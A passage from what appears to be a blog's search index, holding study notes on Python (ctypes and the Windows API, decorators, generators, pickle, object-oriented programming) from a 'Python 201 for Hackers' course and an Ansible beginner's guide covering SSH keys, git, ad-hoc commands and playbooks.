windll.msvcrt.puts(b\u0026#34;print this!\u0026#34;) mut_str = create_string_buffer(10) print(mut_str.raw) # changing the values mut_str.value = b\u0026#34;AAAAA\u0026#34; print(mut_str.raw) # perform similar function with memset windll.msvcrt.memset(mut_str, c_char(b\u0026#34;X\u0026#34;), 5) windll.msvcrt.puts(mut_str) # raw value print(mut_str.raw) print(\u0026#34;-\u0026#34; * 80) ## -- Interacting with custom DLL -- Calling the functions directly -- ## # compiled dll # loading the dll -- need to include the full path lib = WinDLL(\u0026#34;C:\\\\Users\\\\user\\\\Documents\\\\python201\\\\Dll.dll\u0026#34;) # calling the external hello function lib.hello() print(\u0026#34;-\u0026#34; * 80) ## -- Interacting with custom DLL -- Defining hello() -- ## # -- not required but useful to define the functions -- prototypes # define the length function from the dll lib.length.argtypes = (c_char_p, ) lib.length.restype = c_int # test with str 1 str1 = c_char_p(b\u0026#34;test\u0026#34;) print(lib.length(str1)) # test with str 2 str2 = c_char_p(b\u0026#34;test1234\u0026#34;) print(lib.length(str2)) # Data type differences when interacting with python and c str3 = b\u0026#34;abc\\x00123\u0026#34; # =7 -- \\x00 is 1 byte -- via python print(len(str3)) # =3 -- strlen counts the bytes up to a null terminator -- via c print(lib.length(c_char_p(str3))) print(\u0026#34;-\u0026#34; * 80) ## -- Interacting with custom DLL -- Defining add() -- ## lib.add.argtypes = (c_int, c_int) lib.add.restype = c_int # calling it print(\u0026#34;2 + 2 = \u0026#34;, lib.add(2, 2)) # benefit of defining the function -- recognizes type errors # print(\u0026#34;2 + 2 = \u0026#34;, lib.add(2, 2.0)) # float instead of int print(\u0026#34;-\u0026#34; * 80) ## -- Interacting with custom DLL -- Defining add_p() -- ## lib.add_p.argtypes = (POINTER(c_int), POINTER(c_int), POINTER(c_int)) # no return type -- result pointer is passed as an input # prepare the variables x = c_int(2) y = c_int(4) result = c_int(0) # check the values print(result) print(result.value) # calling the function lib.add_p(byref(x), byref(y), byref(result)) # check the output print(\u0026#34;2 + 4 = \u0026#34;, result.value) print(\u0026#34;-\u0026#34; * 80) ## --------------- END --------------- ## ","permalink":"https://onebee.blog/blog/collection/foundations/python-201-p2/","summary":"Collection | Foundations | Python 201 | Part 2 - The Windows API","title":"Foundations | Python 201 - P2"},{"content":"Attribution\nThis Python 201 guide is based on our notes from the TCM Security - Python 201 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nWelcome and Course Introduction Project: https://247ctf.com\nCourse Overview\nLevel up from the Python 101 for Hackers course Understand more advanced Python and programming techniques Leverage Python to interface with the Windows API Examples and projects focus on techniques useful to hackers Limited use of theory and slides; you will learn by example Won\u0026rsquo;t go into technical detail on non-Python topics Programming in a Windows environment (mostly) Examples and discussions focus on Python 3, not Python 2 Sublime as a text editor, but not required Dracula theme for CMD and PowerShell, but not required Prerequisites\nKnowledge of Python 101 for Hackers topics and techniques, plus a high-level understanding of:\nBurp Suite as a penetration testing tool Symmetric vs Asymmetric cryptography Wireshark and the network model Pointers and structures Course Tips and Tricks\nTake detailed notes (written, typed, or both) Course focus is on Python, but concepts apply to other languages too Aim to use the mouse for everything (but the keyboard might win) Pause, rewind, and implement lesson content yourself If non-Python explanations are too high level: Google, Google, Google Not a malware creation course: BE ETHICAL! Topics Covered\nIntroduction Windows Setup Python 201 Object Oriented Programming The Windows API Extending Python Python Projects Extending Burp Debugging Closing Setup on Windows\nCheck if Python is installed with CMD:\npython -V Installing Python:\nDownload it from https://python.org/downloads Make sure to add python.exe to PATH Verify the install: python -V Installing pip (installed by default):\nDownload the bootstrap file from https://bootstrap.pypa.io/get-pip.py Install it: python get-pip.py Verify the install: pip -V Sublime Text\nSmall Comment Hack - Keybindings Settings\nThe issue: Block comment is not possible on European keyboard layouts Solution: Change key bindings and create a new mapping: [ { \u0026#34;keys\u0026#34;: [\u0026#34;ctrl+7\u0026#34;], \u0026#34;command\u0026#34;: \u0026#34;toggle_comment\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;block\u0026#34;: false } }, { \u0026#34;keys\u0026#34;: [\u0026#34;ctrl+shift+7\u0026#34;], \u0026#34;command\u0026#34;: \u0026#34;toggle_comment\u0026#34;, \u0026#34;args\u0026#34;: { \u0026#34;block\u0026#34;: true } } ] Python 201 Decorators Decorators let you modify the behavior of a function without changing the function itself. They are useful for adding logging, verifying permissions, or performing generic checks before calling a function.\nRequirements:\nOuter function: Takes a function as an argument Inner function: Wraps around the decorated function # play around with commenting/uncommenting as you see fit from datetime import datetime import time # a simple logging decorator def logger(func): def wrapper(): print(\u0026#34;-\u0026#34;*50) print(\u0026#34;\u0026gt; Execution started {}\u0026#34;.format(datetime.today().strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;))) # call the actual function func() print(\u0026#34;\u0026gt; Execution completed {}\u0026#34;.format(datetime.today().strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;))) print(\u0026#34;-\u0026#34;*50) # return the inner function return wrapper # attach the decorator to the function -- Python syntactic sugar @logger def demo_function(): print(\u0026#34;Executing task!\u0026#34;) time.sleep(1) print(\u0026#34;Task completed!\u0026#34;) # call the demo function # demo_function() # decorator = Python syntactic sugar -- the same as @logger # not demo_function which is type function -- but a real function call # logger(demo_function()) ## -------------------- DECORATORS WITH ARGUMENTS --------------------- ## def logger_args(func): def wrapper(*args, **kwargs): print(\u0026#34;-\u0026#34;*50) print(\u0026#34;\u0026gt; Execution started {}\u0026#34;.format(datetime.today().strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;))) # call the actual function -- pass the arguments func(*args, **kwargs) print(\u0026#34;\u0026gt; Execution completed {}\u0026#34;.format(datetime.today().strftime(\u0026#34;%Y-%m-%d %H:%M:%S\u0026#34;))) print(\u0026#34;-\u0026#34;*50) # return the inner function return wrapper # adding the decorator @logger_args def demo_function_args(sleep_time): print(\u0026#34;Executing task!\u0026#34;) time.sleep(sleep_time) print(\u0026#34;Task completed!\u0026#34;) demo_function_args(1) demo_function_args(2) demo_function_args(3) Generators Generators provide a simple way to create iterators by returning items one at a time. Instead of using the return statement, use yield:\nreturn: Terminates the function entirely yield: Pauses the function, saves the state and local variable information, so it can continue from that point for future calls If you use yield, you cannot use return in the same function!\nThe next function returns the next item from the iterator, which is automatically implemented with a generator. The StopIteration error is raised when there is no more data to yield. A loop knows to stop automatically when StopIteration is raised.\nGenerators use lazy execution: they only produce items when asked for, rather than computing the entire sequence at once. This is great for memory-intensive processing and reading large files.\n# play around with commenting/uncommenting as you see fit def gen_demo(): n = 1 yield n n += 1 yield n n += 1 yield n # a generator object -- will not start execution # only with the next function test = gen_demo() print(test) # looping manually print(next(test)) print(next(test)) print(next(test)) # StopIteration is raised # print(next(test)) # a loop knows to stop when \u0026#34;StopIteration\u0026#34; is raised test2 = gen_demo() for a in test2: print(a) # creating a generator function with loops def xor_static_key(a): key = 0x5 for i in a: yield chr(ord(i) ^ key) for i in xor_static_key(\u0026#34;test\u0026#34;): print(i) # creating anonymous generator expressions -- like with lambdas xor_static_key2 = (chr(ord(i) ^ 0x5) for i in \u0026#34;test\u0026#34;) # generator object print(xor_static_key2) # printing the values -- manually print(next(xor_static_key2)) print(next(xor_static_key2)) # printing the values -- loop for i in xor_static_key2: print(i) Serialization Serialization is the process of translating data structures or objects into a format that can be stored or transmitted, then later reconstructed by deserializing the serialized object. It is useful for storing the state of something for later use and for transmitting data across the network.\nNote: when serializing data, we are not storing objects \u0026ndash; only the attributes of those objects. Therefore, be careful when deserializing because you are susceptible to code injection attacks. Also, not everything can be easily pickled.\n# play around with commenting/uncommenting as you see fit # --------------- SERIALIZATION/DESERIALIZATION --------------- # import pickle hackers = {\u0026#34;neut\u0026#34;: 1, \u0026#34;geohot\u0026#34;: 100, \u0026#34;neo\u0026#34;: 1000} for key, value in hackers.items(): print(key, value) # create a serialized version of it -- in a binary format serialized = pickle.dumps(hackers) # in bytes print(serialized) # deserialize and load hackers_v2 = pickle.loads(serialized) print(hackers_v2) # printing the values for key, value in hackers_v2.items(): print(key, value) # --------------- SAVING STATE TO A FILE --------------- # # # storing some state into a file -- write binary # with open(\u0026#34;hackers.pickle\u0026#34;, \u0026#34;wb\u0026#34;) as handle: # pickle.dump(hackers, handle) # --------------- LOADING STATE FROM A FILE --------------- # # load serialized data from a file -- read binary with open(\u0026#34;hackers.pickle\u0026#34;, \u0026#34;rb\u0026#34;) as handle: hackers_v3 = pickle.load(handle) print(hackers_v3) Closures Closures attach data to code \u0026ndash; a function object that remembers values in enclosing scopes even when that variable goes out of scope or is removed.\nA nested function is a function inside another function that has access to variables in the enclosing scope.\nWhen using closures, make sure to have a nested function that refers to a value in the outer function. The outer function needs to return the nested/inner function.\n# --------------- INNER/OUTER FUNCTIONS --------------- # # # outer function # def print_out(a): # print(\u0026#34;Outer: {}\u0026#34;.format(a)) # # inner function -- has access to var a # def print_in(): # print(\u0026#34;\\tInner: {}\u0026#34;.format(a)) # # call the inner function # print_in() # # call the outer function # print_out(\u0026#34;test\u0026#34;) # ----- instead of just printing -- return it ----- # # # outer function # def print_out(a): # print(\u0026#34;Outer: {}\u0026#34;.format(a)) # # inner function -- has access to var a # def print_in(): # print(\u0026#34;\\tInner: {}\u0026#34;.format(a)) # # return the inner function # return print_in # # bind it to an object # test2 = print_out(\u0026#34;test\u0026#34;) # # call the inner function -- using the value that was originally supplied # # the value is still remembered even though we have already finished execution # # of the print_out function # test2() # ----- specifically deleting the outer function ----- # # outer function def print_out(a): print(\u0026#34;Outer: {}\u0026#34;.format(a)) # inner function -- has access to var a def print_in(): print(\u0026#34;\\tInner: {}\u0026#34;.format(a)) # return the inner function return print_in # bind it to an object test2 = print_out(\u0026#34;test\u0026#34;) # specifically delete the outer function del print_out # will still work -- data is attached to the code test2() # but calling outer function will not work anymore -- will throw an error # print(print_out(\u0026#34;test2\u0026#34;)) Object Oriented Programming Introduction Up until now, we used procedural programming where data and functions are mostly decoupled.\nObject Oriented Programming (OOP) groups variables and methods. It structures software into reusable blueprints called classes. These blueprint templates can create objects through instantiation.\nClasses contain data (attributes) and functions (methods).\nExample:\nA Person class Name as an attribute SayName as a method Bob is a person object with a name that can be said Alice is a person object with a name that can be said Bob is not Alice OOP Benefits\nModel and group complex data in a reusable way Leverage existing structures (inheritance) Enable class-specific behavior (polymorphism) Secure and protect attributes and methods (encapsulation) Extensible and modular (overloading) Classes, Objects, and Methods Class attributes are defined directly in the class and shared by all objects of that class. Changes made to the class attribute will change for all instances of the class, but changing the class attribute value of an instance will not change the value for the class or other instances.\n# play around with commenting/uncommenting as you see fit class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.age)) def birthday(self): self.age += 1 print(\u0026#34;-\u0026#34;*50) ## --------------- OBJECTS --------------- ## # creating instances of the same class bob = Person(\u0026#34;bob\u0026#34;, 30) alice = Person(\u0026#34;alice\u0026#34;, 20) mallory = Person(\u0026#34;mallory\u0026#34;, 50) # objects -- __main__.Person print(bob) print(alice) print(mallory) print(\u0026#34;-\u0026#34;*50) ## --------------- METHODS AND ATTRIBUTES --------------- ## # using the methods bob.print_name() bob.print_age() alice.print_name() alice.print_age() mallory.print_name() mallory.print_age() # changing attribute values bob.age = 31 bob.print_age() bob.birthday() bob.print_age() bob.birthday() bob.print_age() print(bob.name) print(bob.age) # __main__.Person print(type(bob)) print(\u0026#34;-\u0026#34;*50) ## --------------- CLASS SPECIFIC FUNCTIONS --------------- ## # class specific function -- check if attribute exists print(hasattr(bob, \u0026#34;age\u0026#34;)) print(hasattr(bob, \u0026#34;asd\u0026#34;)) # class specific function -- check for object values print(getattr(bob, \u0026#34;age\u0026#34;)) # class specific function -- set attributes for an object # if attribute does NOT exist --\u0026gt; it will create it setattr(bob, \u0026#34;asd\u0026#34;, 100) print(getattr(bob, \u0026#34;asd\u0026#34;)) # class specific function -- delete attributes for an object print(hasattr(bob, \u0026#34;asd\u0026#34;)) # True delattr(bob, \u0026#34;asd\u0026#34;) # no longer exists print(hasattr(bob, \u0026#34;asd\u0026#34;)) # False print(\u0026#34;-\u0026#34;*50) ## --------------- CLASS ATTRIBUTES --------------- ## # defined directly in the class and shared by all objects of that class print(Person.wants_to_hack) print(bob.wants_to_hack) print(alice.wants_to_hack) print(mallory.wants_to_hack) print(\u0026#34;-\u0026#34;*5) # changes made to the class attribute will change for all instances of the class Person.wants_to_hack = \u0026#34;No way!\u0026#34; print(Person.wants_to_hack) print(bob.wants_to_hack) print(alice.wants_to_hack) print(mallory.wants_to_hack) print(\u0026#34;-\u0026#34;*5) # but changing the class attribute value of an instance will not change the # value for the class or the other instances bob.wants_to_hack = \u0026#34;Yes way!\u0026#34; print(Person.wants_to_hack) print(bob.wants_to_hack) # only bob\u0026#39;s value is changed print(alice.wants_to_hack) print(mallory.wants_to_hack) print(\u0026#34;-\u0026#34;*50) ## --------------- DELETING ATTRIBUTES --------------- ## # it is possible to delete attributes, objects or the entire class itself with `del` # delete an attribute bob.print_name() del bob.name print(hasattr(bob, \u0026#34;name\u0026#34;)) # delete a class # del Person # # we can still access it # print(alice.name) # but creating new instances is no longer possible -- NameError bob2 = Person(\u0026#34;bob2\u0026#34;, 35) print(\u0026#34;-\u0026#34;*50) ## --------------- BUILT-IN CLASS ATTRIBUTES --------------- ## # built-in class attributes associated with ALL Python classes # dictionary containing the class namespace print(Person.__dict__) # the class documentation string print(Person.__doc__) # the class name print(Person.__name__) # the module name in which the class is defined -- main in interactive mode print(Person.__module__) Inheritance Inheritance creates a new class using details from an existing class without modifying that existing class. The new class is called a derived class or child class. The existing class is called a base class or parent class.\n# (play around with commenting/uncommenting as you see fit) ## --------------- PARENT CLASS --------------- ## class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.age)) def birthday(self): self.age += 1 ## --------------- CHILD CLASS --------------- ## class Hacker(Person): def __init__(self, name, age, cves): super().__init__(name, age) self.cves = cves def print_name(self): print(\u0026#34;My name is {} and I have {} CVEs\u0026#34;.format(self.name, self.cves)) def total_cves(self): return self.cves ## --------------- INSTANTIATION --------------- ## bob = Person(\u0026#34;bob\u0026#34;, 30) alice = Hacker(\u0026#34;alice\u0026#34;, 20, 5) bob.print_name() alice.print_name() print(bob.age) print(alice.age) bob.birthday() alice.birthday() print(bob.age) print(alice.age) # bob has no cve attribute print(alice.total_cves()) print(hasattr(bob, \u0026#34;cves\u0026#34;)) print(\u0026#34;-\u0026#34;*5) ## --------------- FUNCTIONS RELATED TO CLASS RELATIONSHIPS --------------- ## print(issubclass(Hacker, Person)) print(issubclass(Person, Hacker)) # true if instance of the class or subclass print(\u0026#34;-\u0026#34;*5) print(isinstance(bob, Person)) print(isinstance(bob, Hacker)) print(isinstance(alice, Person)) print(isinstance(alice, Hacker)) Encapsulation Encapsulation prevents accidental modification of data within a class instance.\nHowever, do not rely on it for security because you can use __dict__ to grab the data anyway. Once you know the attribute name, you can directly change it like bob._Person__age = 50.\nEncapsulation restricts direct access to attributes and methods. By default, all methods and variables of a Python class are public. You can set an attribute to private by prefixing its name with __ like self.__name. Accessing private attributes is done via setter/getter methods.\n# (play around with commenting/uncommenting as you see fit) class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.__age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) # getter method for age def get_age(self): return self.__age # setter method for age def set_age(self, age): self.__age = age def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.__age)) def birthday(self): self.__age += 1 ## --------------- ACCESSING PRIVATE ATTRIBUTES --------------- ## bob = Person(\u0026#34;age\u0026#34;, 30) # once set private -- it will no longer work # print(bob.age) # nor will this # print(bob.__age) # access it via getter methods print(bob.get_age()) bob.set_age(31) print(bob.get_age()) bob.birthday() print(bob.get_age()) ## --------------- GETTING AROUND ENCAPSULATION --------------- ## # grab masked private data print(bob.__dict__) # change data bob._Person__age = 50 # grab masked private data print(bob.__dict__) Polymorphism Polymorphism is the ability to use a common interface for multiple different types. You can use the exact same function even when passing different types to that function.\n# play around with commenting/uncommenting as you see fit ## --------------- PARENT CLASS --------------- ## class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.age)) def birthday(self): self.age += 1 ## --------------- CHILD CLASS --------------- ## class Hacker(Person): def __init__(self, name, age, cves): super().__init__(name, age) self.cves = cves def print_name(self): print(\u0026#34;My name is {} and I have {} CVEs\u0026#34;.format(self.name, self.cves)) def total_cves(self): return self.cves print(\u0026#34;-\u0026#34;*50) ## --------------- POLYMORPHISM -- BUILT-IN EXAMPLES --------------- ## # the same function \u0026#39;len\u0026#39; but with different types -- string vs list print(len(\u0026#34;string\u0026#34;)) print(len([\u0026#39;l\u0026#39;,\u0026#39;i\u0026#39;,\u0026#39;s\u0026#39;,\u0026#39;t\u0026#39;])) print(\u0026#34;-\u0026#34;*50) ## --------------- POLYMORPHISM -- CLASS METHOD EXAMPLES --------------- ## bob = Person(\u0026#34;bob\u0026#34;, 30) alice = Hacker(\u0026#34;alice\u0026#34;, 25, 10) people = [bob, alice] for person in people: person.print_name() print(type(person)) print(\u0026#34;-\u0026#34;*50) ## --------------- POLYMORPHISM -- ANY OBJECT --------------- ## def obj_dump(object): object.print_name() print(object.age) object.birthday() print(object.age) print(object.__class__) print(object.__class__.__name__) obj_dump(bob) obj_dump(alice) Operator Overloading Operator overloading changes the meaning of an operator depending on the operands used.\n# play around with commenting/uncommenting as you see fit class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.age)) def birthday(self): self.age += 1 # overload the str built-in method def __str__(self): return \u0026#34;My name is {} and I am {} years old.\u0026#34;.format(self.name, self.age) # implement the built-in addition operator # other is expected to be another instance of the class, # but not the same instance which is calling the method def __add__(self, other): return self.age + other.age # overloading the less than operator def __lt__(self, other): return self.age \u0026lt; other.age print(\u0026#34;-\u0026#34;*50) ## --------------- OPERATOR OVERLOADING -- BUILT-IN EXAMPLES --------------- ## print(1 + 1) print(\u0026#34;1\u0026#34; + \u0026#34;1\u0026#34;) print(\u0026#34;-\u0026#34;*50) ## --------------- OPERATOR OVERLOADING -- CLASS EXAMPLES --------------- ## bob = Person(\u0026#34;bob\u0026#34;, 30) alice = Person(\u0026#34;alice\u0026#34;, 35) print(\u0026#34;-\u0026#34;*5) # call overloaded __str__ method print(bob) print(\u0026#34;-\u0026#34;*5) # try adding them together # will not work without overwriting/implementing the __add__ method print(bob + alice) print(alice + bob) print(\u0026#34;-\u0026#34;*5) # overloaded lt operator print(bob \u0026lt; alice) print(alice \u0026lt; bob) Class Decorators Property decorator (@property): Declares a method as a property object of the class.\nClass method decorator (@classmethod): Python syntactic sugar.\nBound to a class rather than its object Does not require creation of a class instance Can only access class method attributes, not per-instance attributes First attribute is cls to access class attributes Factory methods: Use class methods as a type of factory to create instances of the class.\nStatic method decorator (@staticmethod): Defines a static method in the class.\nCannot access class attributes or per-instance attributes Does not require a class instance Can be called by both the class and instances of the class Takes no parameters, not even self, and knows nothing about the class Useful when you do not want a subclass to overwrite some method implementation # play around with commenting/uncommenting as you see fit class Person: # class documentation \u0026#39;Person base class\u0026#39; # class attribute wants_to_hack = True # constructor -- to initialize an instance of the object # self -- reference to the object itself -- here: Person # invoked automatically whenever a new object of the class is instantiated def __init__(self, name, age): self.name = name self.__age = age def print_name(self): print(\u0026#34;My name is {}\u0026#34;.format(self.name)) # getter method for age def get_age(self): return self.__age # property decorator -- getter method @property def age(self): return self.__age # property decorator -- setter method @age.setter def age(self, age): self.__age = age # property decorator -- delete method @age.deleter def age(self): del self.__age # class method decorator -- `cls` for accessing class attributes @classmethod def wants_to(cls): return cls.wants_to_hack # class method decorator -- bob factory @classmethod def bob_factory(cls): return cls(\u0026#34;bob\u0026#34;, 30) # static method -- no parameters @staticmethod def static_print(): print(\u0026#34;I am the same!\u0026#34;) # setter method for age def set_age(self, age): self.__age = age def print_age(self): print(\u0026#34;My age is {}\u0026#34;.format(self.__age)) def birthday(self): self.__age += 1 print(\u0026#34;-\u0026#34;*50) ## --------------- CLASS DECORATORS -- PROPERTY DECORATOR --------------- ## bob = Person(\u0026#34;bob\u0026#34;, 30) # will not work without a property decorator print(bob.age) print(\u0026#34;-\u0026#34;*5) # setter test bob.age = 50 print(bob.age) # deleter test # del bob.age # print(hasattr(bob, \u0026#34;age\u0026#34;)) # false print(\u0026#34;-\u0026#34;*50) ## --------------- CLASS DECORATORS -- CLASS METHOD DECORATOR --------------- ## print(Person.wants_to()) print(\u0026#34;-\u0026#34;*5) # create instances of bob with the factory bob1 = Person.bob_factory() bob2 = Person.bob_factory() bob3 = Person.bob_factory() bob1.print_name() bob2.print_name() bob3.print_name() print(\u0026#34;-\u0026#34;*50) ## --------------- CLASS DECORATORS -- STATIC METHOD DECORATOR --------------- ## Person.static_print() bob1.static_print() bob2.static_print() bob3.static_print() ","permalink":"https://onebee.blog/blog/collection/foundations/python-201-p1/","summary":"Collection | Foundations | Python 201 | Part 1","title":"Foundations | Python 201 - P1"},{"content":"Attribution\nThis Ansible 101 guide is based on our notes from the Getting started with Ansible video course by Linux TV.\nWe highly recommend this course as a great starting point for learning Ansible; it was instrumental in our understanding of the subject.\nOverview Ansible is an open-source automation tool that simplifies configuration management, application deployment, and task automation. This guide walks through setting up Ansible from scratch, starting with basic SSH configuration and progressing to advanced concepts like roles and templates.\nArchitecture Basics\nControl Host: One machine with Ansible installed where we run our playbooks Managed Nodes: Multiple servers that Ansible controls (no Ansible installation required on these) SSH Setup and Configuration Ansible communicates with managed nodes over SSH. Here\u0026rsquo;s how to set up secure, key-based authentication.\nStep 1: Install OpenSSH\nOn the control host, ensure the OpenSSH client is installed (usually pre-installed on Linux). On each managed server, install the OpenSSH server:\n# On the managed servers sudo apt install openssh-server Step 2: Accept Initial Host Keys\nConnect to each server initially to accept their host keys:\n# On the control host ssh \u0026lt;username\u0026gt;@\u0026lt;server-ip\u0026gt; Step 3: Create SSH Key Pair for Interactive Use\nGenerate a key pair with a passphrase for your normal user account:\n# On the control host # -t: type; -C: comment ssh-keygen -t ed25519 -C \u0026#34;your comment here\u0026#34; # You\u0026#39;ll be prompted for: # - File location (default: /home/\u0026lt;user\u0026gt;/.ssh/id_ed25519) # - Passphrase (recommended for security) Step 4: Distribute Your Public Key\nCopy the public key to each managed server:\n# On the control host # -i: input file ssh-copy-id -i ~/.ssh/id_ed25519.pub \u0026lt;server-ip\u0026gt; Step 5: Create an Automation Key\nCreate a dedicated key for Ansible automation without a passphrase:\n# On the control host ssh-keygen -t ed25519 -C \u0026#34;ansible\u0026#34; # Save to: /home/\u0026lt;username\u0026gt;/.ssh/ansible # Leave passphrase empty (press Enter) Step 6: Distribute the Automation Key\nCopy the Ansible-specific key to all servers:\n# On the control host ssh-copy-id -i ~/.ssh/ansible.pub \u0026lt;server-ip\u0026gt; # You\u0026#39;ll be prompted for the password of the target user account Step 7: Verify Key-Based Authentication\nTest that the Ansible key works without requiring a passphrase:\n# On the control host ssh -i ~/.ssh/ansible \u0026lt;server-ip\u0026gt; Step 8: Cache Your Interactive Key\u0026rsquo;s Passphrase\nUse ssh-agent to cache your personal key\u0026rsquo;s passphrase for the current session:\n# Start ssh-agent eval $(ssh-agent) # Verify it\u0026#39;s running ps aux | grep ssh-agent # Add your key (you\u0026#39;ll enter your passphrase once) ssh-add # Note: This is only cached for your current terminal session Step 9: Create a Convenience Alias (Optional)\nAdd an alias to simplify starting ssh-agent:\n# Add to ~/.bashrc for persistence alias ssha=\u0026#39;eval $(ssh-agent) \u0026amp;\u0026amp; ssh-add\u0026#39; # Reload your shell configuration source ~/.bashrc # Verify the alias alias ssha Setting Up Version Control Tracking your Ansible configurations in Git provides version control and collaboration capabilities.\nInstall Git\n# On the control host sudo apt update sudo apt install git Configure Git\nSet up your identity and create a repository:\nCreate a GitHub account (if you don\u0026rsquo;t have one) Create a new repository for your Ansible project Add your SSH public key to your GitHub account Clone the repository to your control host: # On the control host git clone git@github.com:\u0026lt;username\u0026gt;/\u0026lt;repository\u0026gt;.git Configure your local Git identity:\ngit config --global user.name \u0026#34;\u0026lt;your-name\u0026gt;\u0026#34; git config --global user.email \u0026#34;\u0026lt;your-email\u0026gt;\u0026#34; # Verify configuration cat ~/.gitconfig Make Your First Commit\n# Check repository status git status # Review changes git diff README.md # Stage and commit git add README.md git commit -m \u0026#34;Initial commit: Add README\u0026#34; # Push to remote git push origin main Running Ad-Hoc Commands Ad-hoc commands let you execute simple tasks across your infrastructure without writing full playbooks.\nInstall Ansible\nsudo apt update sudo apt install ansible Create an Inventory File\nThe inventory file lists your managed nodes:\n# Navigate to your project directory cd \u0026lt;github-ansible-project-path\u0026gt; # Create inventory file touch inventory Example inventory (list IPs or hostnames):\n192.168.1.1 192.168.1.2 192.168.1.3 Commit your inventory:\ngit add inventory git commit -m \u0026#34;Add initial inventory with three hosts\u0026#34; git push origin main Test Connectivity\nVerify Ansible can reach your hosts:\n# -i: inventory file; -m: module ansible all --key-file ~/.ssh/ansible -i inventory -m ping Create an Ansible Configuration File\nAutomate common options with ansible.cfg:\n# Create config file touch ansible.cfg Example configuration:\n[defaults] inventory = inventory private_key_file = ~/.ssh/ansible Now you can run commands without specifying the inventory and key file:\nansible all -m ping Useful Ad-Hoc Commands\nList configured hosts:\nansible all --list-hosts Gather system facts from all hosts:\nansible all -m gather_facts Gather facts from specific hosts:\nansible all -m gather_facts --limit \u0026lt;server-ip\u0026gt; Running Elevated Commands Many administrative tasks require elevated privileges. Ansible uses privilege escalation (sudo by default) for these operations.\nUpdate Package Cache (Will Fail Without Privileges)\n# -a: arguments ansible all -m apt -a update_cache=true Update Cache With Privilege Escalation\n# --become: use sudo; --ask-become-pass: prompt for password ansible all -m apt -a update_cache=true --become --ask-become-pass Install Packages\nInstall multiple packages:\n# Install vim-nox ansible all -m apt -a name=vim-nox --become --ask-become-pass # Install tmux ansible all -m apt -a name=tmux --become --ask-become-pass Upgrade Specific Packages\n# Multiple arguments require quotes ansible all -m apt -a \u0026#34;name=snapd state=latest\u0026#34; --become --ask-become-pass Full System Upgrade\n# Equivalent to apt dist-upgrade ansible all -m apt -a \u0026#34;upgrade=dist\u0026#34; --become --ask-become-pass Writing Your First Playbook Playbooks are YAML files that define automated tasks. They\u0026rsquo;re more powerful and reusable than ad-hoc commands.\nExample: Install Apache\nCreate install_apache.yml:\n--- - hosts: all become: true tasks: - name: Update repository index apt: update_cache: yes - name: Install apache2 package apt: name: apache2 state: latest - name: Add PHP support for apache apt: name: libapache2-mod-php state: latest Example: Remove Apache\nCreate remove_apache.yml:\n--- - hosts: all become: true tasks: - name: Remove apache2 package apt: name: apache2 state: absent - name: Remove PHP support for apache apt: name: libapache2-mod-php state: absent Run Your Playbooks\nansible-playbook --ask-become-pass install_apache.yml ansible-playbook --ask-become-pass remove_apache.yml Using Conditionals (The WHEN Clause) Conditionals let you run tasks only when specific criteria are met, such as differentiating between operating systems.\nCheck OS Information\ncat /etc/os-release OS-Specific Tasks\nModify install_apache.yml to handle both Ubuntu and CentOS:\n--- - hosts: all become: true tasks: - name: Update repository index (Ubuntu) apt: update_cache: yes when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Install apache2 package (Ubuntu) apt: name: apache2 state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Add PHP support (Ubuntu) apt: name: libapache2-mod-php state: latest when: ansible_distribution == \u0026#34;Ubuntu\u0026#34; - name: Update repository index (CentOS) dnf: update_cache: yes when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Install httpd package (CentOS) dnf: name: httpd state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; - name: Add PHP support (CentOS) dnf: name: php state: latest when: ansible_distribution == \u0026#34;CentOS\u0026#34; Multiple Conditions\nMatch multiple distributions:\nwhen: ansible_distribution in [\u0026#34;Debian\u0026#34;, \u0026#34;Ubuntu\u0026#34;] Combine conditions:\nwhen: ansible_distribution == \u0026#34;CentOS\u0026#34; and ansible_distribution_version == \u0026#34;8.2\u0026#34; Additional CentOS Configuration\nCentOS requires additional steps to start the web server and configure the firewall:\nsystemctl start httpd sudo firewall-cmd --add-port=80/tcp Verify OS Facts\nansible all -m gather_facts --limit \u0026lt;server-ip\u0026gt; | grep ansible_distribution Improving Your Playbook As playbooks grow, consolidation improves maintainability.\nConsolidated Package Installation\nCombine related tasks:\n--- - 